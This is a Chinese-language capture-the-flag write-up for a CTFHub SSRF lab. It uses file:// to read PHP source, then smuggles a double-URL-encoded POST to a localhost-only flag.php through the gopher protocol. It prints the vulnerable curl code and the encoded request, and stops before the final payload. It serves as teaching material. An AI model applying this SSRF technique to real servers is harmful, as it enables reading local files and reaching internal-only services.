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在题目中的环境初始链接为：http://challenge-fc6097d3c4b542ee.sandbox.ctfhub.com:10800/?url=_
我们先用file://协议对index.php页面源码进行读取，http://challenge-fc6097d3c4b542ee.sandbox.ctfhub.com:10800/?
url=file:///var/www/html/index.php,然后发现有一个/flag.php的页面，然后同样对其源码进行读取
得到index.php的页面源码如下：
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<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
   exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

Flag.php的页面源码如下：
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>
<form action="/flag.php" method="post">
 <input type="text" name="key">
 <!-- Debug: key=<?php echo $key;?>-->
</form>

我们可以使用gopher协议进行POST提交key的值，但是在flag.php中已经限制了访问客户端ip必须是127.0.0.1，我们通过index的
页面中curl的函数使用127.0.0.1进行访问flag页面并使用gopher协议进行提交key，最后获得flag
在这中间我们在使用 Gopher协议发送 POST请求包时，Host、Content-Type和Content-Length请求头是必不可少的，但在 GET
请求中可以没有。

在向服务器发送请求时，首先浏览器会进行一次 URL解码，其次服务器收到请求后，在执行curl功能时，进行第二次 URL解码。
所以我们需要两次编码

我们先构造POST数据包

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=583ee4e219514f2541cacb39d9d9c20d

第一次url编码（%0A变成%0D%0A）：

POST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Length%3A%2036%0D%0AContent-Type%3A%20app
lication/x-www-form-urlencoded%0D%0A%0D%0Akey%3D583ee4e219514f2541cacb39d9d9c20d

第二次：

POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D
%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253D583ee4e219514f2541cacb39
d9d9c20d



最后构造的数据包为
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